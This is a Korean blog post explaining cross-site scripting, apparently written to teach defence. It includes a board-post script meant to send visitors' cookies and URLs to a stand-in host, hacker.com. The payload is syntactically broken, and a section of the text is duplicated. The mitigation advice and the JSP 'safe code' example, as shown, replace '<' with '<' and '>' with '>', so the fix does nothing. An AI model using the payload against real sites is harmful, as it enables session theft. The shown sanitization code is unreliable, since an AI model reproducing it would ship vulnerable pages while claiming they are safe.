Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- docker
- x-pack
- macos
- G-suite
- pfsense
- Elasticsearch
- bash
- 한글가이드
- endpoint security
- ansible
- hardening
- GitLab
- XCP-ng
- Proxy
- Windows
- centos 8
- xe guest utilities
- Kibana
- Kibana server is not ready yet
- freebsd
- elastic stack
- miniconda
- 로그인불가
- PlayBook
- proxycfg
- ELASTIC
- ssh key 배포
- 보안양파
- application security
Archives
- Today
- Total
선 밖에 선 자유인
XSS (Cross Site Script) 공격 본문
* 정의
웹페이지 게시판이나 웹메일등에 악의적인 스크립트를 포함시켜 사용자측에서 실행되게 하도록 유도하는 공격으로 악의적인 스크립트에 의해 페이지가 깨지거나 다른 사용자의 정상적인 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로 전송 시키는 피해를 야기한다.
일반적인 공격형태로는 타 사용자 세션 도용, 악성코드유포등이있으며, 특정 게시물을 클릭 했을 시 브라우저가 계속해서 열리거나 경고 창이 무한 반복되는 것들도 크로스사이트 스크립트 공격의 한 예라 할 수 있다.
스크립트 실행 가능한 게시판에 다음과 같은 구문을 입력한다.
<script>document.cookie.replace("http://www.hacker.com/cookie.php?'+document.cookie+'&'+document.URL))
);</script>
사용자가 해당 게시물을 열람하게 되면 스크립트가 실행되면서 사용자의 쿠키값이 해커의 서버로 전송된다.
* 보안 점검 방법
- html 태그 문자와 '<', '>'가 입력되면 취약점이 발생 하므로 '<' 는 <, '>'는 >로 변환한다.
- html 사용시 반드시 필요한 필수적인 태그만을 허용한다.
안전한 코드 예제
스크립트 실행 가능한 게시판에 다음과 같은 구문을 입력한다.
<script>document.cookie.replace("http://www.hacker.com/cookie.php?'+document.cookie+'&'+document.URL))
);</script>
사용자가 해당 게시물을 열람하게 되면 스크립트가 실행되면서 사용자의 쿠키값이 해커의 서버로 전송된다.
* 보안 점검 방법
- html 태그 문자와 '<', '>'가 입력되면 취약점이 발생 하므로 '<' 는 <, '>'는 >로 변환한다.
- html 사용시 반드시 필요한 필수적인 태그만을 허용한다.
안전한 코드 예제
<%@page contentType="text/html" pageEncoding="UTF-8"%>XSS Sample
<% String name = request.getParameter("name"); if(name != null){ name = name.replaceAll("<", "<"); name = name.replaceAll(">", ">"); }else{ return; } %>NAME : <%=name%>
Comments